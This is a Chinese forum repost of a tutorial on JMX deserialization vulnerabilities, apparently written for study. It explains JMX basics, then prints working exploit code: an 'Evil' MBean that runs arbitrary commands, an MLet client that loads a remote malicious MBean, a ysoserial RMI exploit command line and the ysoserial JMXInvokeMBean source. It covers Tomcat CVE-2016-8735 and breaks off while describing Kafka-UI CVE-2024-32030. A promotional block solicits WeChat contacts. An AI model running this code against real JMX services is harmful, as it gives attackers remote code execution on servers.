JMX 反序列化漏洞

  金牌会员 | 2024-7-18 19:16:52 | 显示全部楼层 | 阅读模式
打印 上一主题 下一主题

主题 866|帖子 866|积分 2598

前言

前段时间看到普元 EOS Platform 爆了这个洞,Apache James,Kafka-UI 都爆了这几个洞,以是决定系统来学习一下这个漏洞点。
JMX 基础

JMX 前置知识

JMX(Java Management Extensions,即 Java 管理扩展)是一个为应用程序、装备、系统等植入管理功能的框架。JMX 可以超过一系列异构操纵系统平台、系统体系结构和网络传输协议,灵活的开辟无缝集成的系统、网络和服务管理应用。
可以简单理解 JMX 是 java 的一套管理框架,coders 都遵循这个框架,实现对代码应用的监控与管理。

 
JMX 的结构一共分为三层:
1、基础层:主要是 MBean,被管理的资源。分为四种,常用需要关注的是两种。

  • standard MBean 这种类型的 MBean 最简单,它能管理的资源(包括属性、方法、时间)必须定义在接口中,然后 MBean 必须实现这个接口。它的命令也必须遵循肯定的规范,比方我们的 MBean 为 Hello,则接口必须为 HelloMBean。
  • dynamic MBean 必须实现 javax.management.DynamicMBean 接口,所有的属性,方法都在运行时定义。2、适配层:MBeanServer,主要是提供对资源的注册和管理。3、接入层:Connector,提供远程访问的入口。
JMX 基础代码实践

以下代码实现简单的 JMX demo,文件结构
  1. ├── HelloWorld.java  
  2. ├── HelloWorldMBean.java  
  3. └── jmxDemo.java
复制代码
HelloWorldMBean.java
  1. package org.example;
  2. public interface HelloWorldMBean {
  3.    public void sayhello();
  4.    public int add(int x, int y);
  5.    public String getName();
  6. }
复制代码
HelloWorld.java
  1. package org.example;
  2. public class HelloWorld implements HelloWorldMBean{
  3.    private String name = "Drunkbaby";
  4.    @Override
  5.    public void sayhello() {
  6.        System.out.println("hello world" + this.name);
  7.    }
  8.    @Override
  9.    public int add(int x, int y) {
  10.        return x + y;
  11.    }
  12.    @Override
  13.    public String getName() {
  14.        return this.name;
  15.    }
  16. }
复制代码
jmxDemo.java
  1. package org.example;
  2. import javax.management.MBeanServer;
  3. import javax.management.ObjectName;
  4. import javax.management.remote.JMXConnectorServer;
  5. import javax.management.remote.JMXConnectorServerFactory;
  6. import javax.management.remote.JMXServiceURL;
  7. import java.lang.management.ManagementFactory;
  8. import java.rmi.registry.LocateRegistry;
  9. import java.rmi.registry.Registry;
  10. public class jmxDemo {
  11.    public static void main(String[] args) throws Exception{
  12.        MBeanServer mBeanServer = ManagementFactory.getPlatformMBeanServer();
  13.        ObjectName mbsName = new ObjectName("test:type=HelloWorld");
  14.        HelloWorld mbean = new HelloWorld();
  15.        mBeanServer.registerMBean(mbean, mbsName);
  16.        // 创建一个 RMI Registry
  17.        Registry registry = LocateRegistry.createRegistry(1099);
  18.        // 构造 JMXServiceURL,绑定创建的 RMI
  19.        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://localhost:1099/jmxrmi");
  20.        // 构造JMXConnectorServer,关联 mbserver
  21.        JMXConnectorServer jmxConnectorServer = JMXConnectorServerFactory.newJMXConnectorServer(jmxServiceURL, null, mBeanServer);
  22.        jmxConnectorServer.start();
  23.        System.out.println("JMXConnectorServer is ready");
  24.        System.out.println("press any key to exit.");
  25.        System.in.read();
  26.    }
  27. }
复制代码
其中

  • Probe Level:创建了 HelloWorldMBean 实例 mbean
  • Agent Level:创建了 MBeanServer 实例 mbs
  • Remote Management Level: 创建了JMXServiceURL,绑定到本地 1099 rmi,关联到MBeanServer mbs
JMX 安全问题

JMX 的安全问题主要发生在以下三处
1、jmx2、mbean3、rmi
其中通过利用 MLet 是最常用的攻击伎俩,算是 jmx 特性 + mbean 利用,接下来我们具体来看看 Mlet 的漏洞利用及原理。
Mlet

Mlet 指的是 javax.management.loading.MLet,该 mbean 有个 getMBeansFromURL 的方法,可以从远程 mlet server 加载 mbean。
攻击过程:

  • 启动托管 MLet 和含有恶意 MBean 的 JAR 文件的 Web 服务器
  • 使用JMX在目的服务器上创建 MBeanjavax.management.loading.MLet 的实例
  • 调用 MBean 实例的 getMBeansFromURL 方法,将 Web 服务器 URL 作为参数进行通报。JMX 服务将连接到http服务器并解析MLet文件
  • JMX 服务下载并归档 MLet 文件中引用的 JAR 文件,使恶意 MBean 可通过 JMX 获取
  • 攻击者最终调用来自恶意 MBean 的方法


  • 下面我们来编写一个漏洞实例。
Evil MBean

文件结构
  1. ├── Evil.java
  2. └── EvilMBean.java
复制代码
EvilMBean.java
  1. package com.drunkbaby.mlet;  
  2.  
  3. public interface EvilMBean {  
  4.    public String runCommand(String cmd);  
  5. }
复制代码
Evil.java
  1. package com.drunkbaby.mlet;  
  2.  
  3. import java.io.BufferedReader;  
  4. import java.io.InputStreamReader;  
  5.  
  6. public class Evil implements EvilMBean  
  7. {  
  8.    public String runCommand(String cmd)  
  9.    {  
  10.        try {  
  11.            Runtime rt = Runtime.getRuntime();  
  12.            Process proc = rt.exec(cmd);  
  13.            BufferedReader stdInput = new BufferedReader(new InputStreamReader(proc.getInputStream()));  
  14.            BufferedReader stdError = new BufferedReader(new InputStreamReader(proc.getErrorStream()));  
  15.            String stdout_err_data = "";  
  16.            String s;  
  17.            while ((s = stdInput.readLine()) != null)  
  18.            {  
  19.                stdout_err_data += s+"\n";  
  20.            }  
  21.            while ((s = stdError.readLine()) != null)  
  22.            {  
  23.                stdout_err_data += s+"\n";  
  24.            }  
  25.            proc.waitFor();  
  26.            return stdout_err_data;  
  27.        }  
  28.        catch (Exception e)  
  29.        {  
  30.            return e.toString();  
  31.        }  
  32.    }  
  33. }
复制代码
Mlet Server

将本来的文件打包为 jar 包。步骤省略了,就是 build Artifacts。随后编写 evil.html
  1. [/code]整体结构如图
  2. [align=center][img=720,510.2664298401421]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407181426985.png[/img][/align]
  3. [size=3]Attack Code[/size]
  4. [b]ExploitJMXByRemoteMBean.java[/b]
  5. [code]package com.drunkbaby.mlet;  
  6.  
  7. import javax.management.MBeanServerConnection;  
  8. import javax.management.ObjectInstance;  
  9. import javax.management.ObjectName;  
  10. import javax.management.remote.JMXConnector;  
  11. import javax.management.remote.JMXConnectorFactory;  
  12. import javax.management.remote.JMXServiceURL;  
  13. import java.net.MalformedURLException;  
  14. import java.util.HashSet;  
  15. import java.util.Iterator;  
  16.  
  17. public class ExploitJMXByRemoteMBean {  
  18.  
  19.    public static void main(String[] args) {  
  20.        try {  
  21. //            connectAndOwn(args[0], args[1], args[2]);  
  22.            connectAndOwn("localhost","1099","open -a Calculator");  
  23.        } catch (Exception e) {  
  24.            e.printStackTrace();  
  25.        }  
  26.    }  
  27.  
  28.    static void connectAndOwn(String serverName, String port, String command) throws MalformedURLException {  
  29.        try {  
  30.            // step1. 通过rmi创建 jmx连接  
  31.            JMXServiceURL u = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + serverName + ":" + port + "/jmxrmi");  
  32.            System.out.println("URL: " + u + ", connecting");  
  33.            JMXConnector c = JMXConnectorFactory.connect(u);  
  34.            System.out.println("Connected: " + c.getConnectionId());  
  35.            MBeanServerConnection m = c.getMBeanServerConnection();  
  36.  
  37.            // step2. 加载特殊MBean:javax.management.loading.MLet  
  38.            ObjectInstance evil_bean = null;  
  39.            ObjectInstance evil = null;  
  40.            try {  
  41.                evil = m.createMBean("javax.management.loading.MLet", null);  
  42.            } catch (javax.management.InstanceAlreadyExistsException e) {  
  43.                evil = m.getObjectInstance(new ObjectName("DefaultDomain:type=MLet"));  
  44.            }  
  45.            // step3:通过MLet加载远程恶意MBean  
  46.            System.out.println("Loaded "+evil.getClassName());  
  47.            Object res = m.invoke(evil.getObjectName(), "getMBeansFromURL", new Object[]  
  48.                            { "http://localhost:4141/evil.html"},  
  49.                    new String[] { String.class.getName() } );  
  50.  
  51.            HashSet res_set = ((HashSet)res);  
  52.            Iterator itr = res_set.iterator();  
  53.            Object nextObject = itr.next();  
  54.            if (nextObject instanceof Exception)  
  55.            {  
  56.                throw ((Exception)nextObject);  
  57.            }  
  58.            evil_bean = ((ObjectInstance)nextObject);  
  59.  
  60.            // step4: 执行恶意MBean  
  61.            System.out.println("Loaded class: "+evil_bean.getClassName()+" object "+evil_bean.getObjectName());  
  62.            System.out.println("Calling runCommand with: "+command);  
  63.            Object result = m.invoke(evil_bean.getObjectName(), "runCommand", new Object[]{ command }, new String[]{ String.class.getName() });  
  64.            System.out.println("Result: "+result);  
  65.        } catch (Exception e)  
  66.        {  
  67.            e.printStackTrace();  
  68.        }  
  69.    }  
  70. }
复制代码
[img=720,407.66091051805336]https://m-1254331109.cos.ap-guangzhou.myqcloud.com/202407181426852.png[/img]

很明显这里是和远程的 jar 包进行了连接,而远程的 jar 包上面放置了恶意的 MBean,关于 Mlet 的攻击流程和漏洞分析会在文章后半部分展开来讲。
【----帮助网安学习,以下所有学习资料免费领!加vx:dctintin,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证测验指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
JMX 反序列化漏洞

在现实场景中 JMX 一般出现的漏洞点都是在某某反序列化当中。下面内容总结一下可能存在的三个问题
JMX 自身反序列化漏洞 —— CVE-2016-3427/CVE-2016-8735

漏洞描述

这实在是 JDK 的洞 —— JMX 导致的,但是由于 Tomcat 没有及时打补丁,以是这个漏洞被披露在 Tomcat 中。该漏洞的底层原因是由于 Tomcat 在配置 JMX 做监控时使用了 JmxRemoteLifecycleListener() 方法。

  • 漏洞利用前置条件为 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口被开放。
影响版本

Apache Tomcat 9.0.0.M1 - 9.0.0.M11 Apache Tomcat 8.5.0 - 8.5.6 Apache Tomcat 8.0.0.RC1 - 8.0.38 Apache Tomcat 7.0.0 - 7.0.72 Apache Tomcat 6.0.0 - 6.0.47
环境搭建

https://github.com/Drun1baby/CVE-Reproduction-And-Analysis/tree/main/Apache/Tomcat/CVE-2016-8735
需要添加一个 listener 和 catalina.sh,网上教程都有,包括两个 jar 包,我这里不再赘述了。
漏洞复现


  • 漏洞复现的 EXP 已经有了
  1. java -cp ysoserial-all.jar ysoserial.exploit.RMIRegistryExploit localhost 10001 Groovy1 "touch /tmp/success"
复制代码

漏洞触发点 org.apache.catalina.mbeans.JmxRemoteLifecycleListener#createServer
  1. try {  
  2.    RMIJRMPServerImpl server = new RMIJRMPServerImpl(this.rmiServerPortPlatform, serverCsf, serverSsf, theEnv);  
  3.    cs = new RMIConnectorServer(serviceUrl, theEnv, server, ManagementFactory.getPlatformMBeanServer());  
  4.    cs.start();  
  5.    registry.bind("jmxrmi", server);  
  6.    log.info(sm.getString("jmxRemoteLifecycleListener.start", new Object[]{Integer.toString(theRmiRegistryPort), Integer.toString(theRmiServerPort), serverName}));  
  7. } catch (AlreadyBoundException | IOException var15) {  
  8.    log.error(sm.getString("jmxRemoteLifecycleListener.createServerFailed", new Object[]{serverName}), var15);  
  9. }
复制代码
很经典的伎俩,registry.bind() 调用反序列化,接着通过 Grovvy1 链触发
同样这里实在也是用 RMI 协议来打的。
利用 Mlet 的方式动态加载 MBean

这个有点意思,上面在讲 Mlet 攻击的时候实在我们有提到,Mlet 是通过加载远程的 jar 包,调用里面的 codebase 来 rce 的。
而 JMX 调用远程 MBean 方法有以下流程:
1、MBean name、MBean Function Name、params,发送给远程的 rmi server,其中 params 需要先统一转换为 MarshalledObject,通过 readObject 转换为字符串。2、RMI Server监听到网络哀求,包含MBean name、MBean Function Name、 params,其中params经过MarshalledObject.readObject() 反序列化,再通过invoke调用原函数。
以是这里只需要我们恶意构造 String 进行反序列化,就可以进行攻击。在 ysoserial 当中,这一个类为 JMXInvokeMBean
  1. package ysoserial.exploit;
  2. import javax.management.MBeanServerConnection;
  3. import javax.management.ObjectName;
  4. import javax.management.remote.JMXConnector;
  5. import javax.management.remote.JMXConnectorFactory;
  6. import javax.management.remote.JMXServiceURL;
  7. import ysoserial.payloads.ObjectPayload.Utils;
  8. /*
  9. * Utility program for exploiting RMI based JMX services running with required gadgets available in their ClassLoader.
  10. * Attempts to exploit the service by invoking a method on a exposed MBean, passing the payload as argument.
  11. *
  12. */
  13. public class JMXInvokeMBean {
  14.     public static void main(String[] args) throws Exception {
  15.    
  16.         if ( args.length < 4 ) {
  17.             System.err.println(JMXInvokeMBean.class.getName() + " <host> <port> <payload_type> <payload_arg>");
  18.             System.exit(-1);
  19.         }
  20.        
  21.         JMXServiceURL url = new JMXServiceURL("service:jmx:rmi:///jndi/rmi://" + args[0] + ":" + args[1] + "/jmxrmi");
  22.        
  23.         JMXConnector jmxConnector = JMXConnectorFactory.connect(url);
  24.         MBeanServerConnection mbeanServerConnection = jmxConnector.getMBeanServerConnection();
  25.         // create the payload
  26.         Object payloadObject = Utils.makePayloadObject(args[2], args[3]);  
  27.         ObjectName mbeanName = new ObjectName("java.util.logging:type=Logging");
  28.         mbeanServerConnection.invoke(mbeanName, "getLoggerLevel", new Object[]{payloadObject}, new String[]{String.class.getCanonicalName()});
  29.         //close the connection
  30.         jmxConnector.close();
  31.    }
  32. }
复制代码
我看下来两种漏洞利用的最终思路是很雷同的,都是 RMi 去打反序列化,不一样的点在于一个是利用 RMIxxx.bind() 别的一种是在用 jmx:rmi// 协议去打。
当漏洞照进现实 —— CVE-2024-32030 Kafka-UI 反序列化漏洞

https://securitylab.github.com/advisories/GHSL-2023-229_GHSL-2023-230_kafka-ui/#/
漏洞描述

Kafka UI 是 Apache Kafka 管理的开源 Web UI。Kafka UI API 允许用户通过指定网络地址和端口连接到不同的 Kafka brokers。作为一个独立的功能,它还提供了通过连接到其 JMX 端口监视 Kafka brokers 性能的能力。CVE-2024-32030 中,由于默认情况下 Kafka UI 未开启认证授权,攻击者可构造恶意哀求利用后台功能实行恣意代码,控礼服务器。官方已发布安全更新,修复该漏洞。
影响版本

Kafka-UI ></strong>
  

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表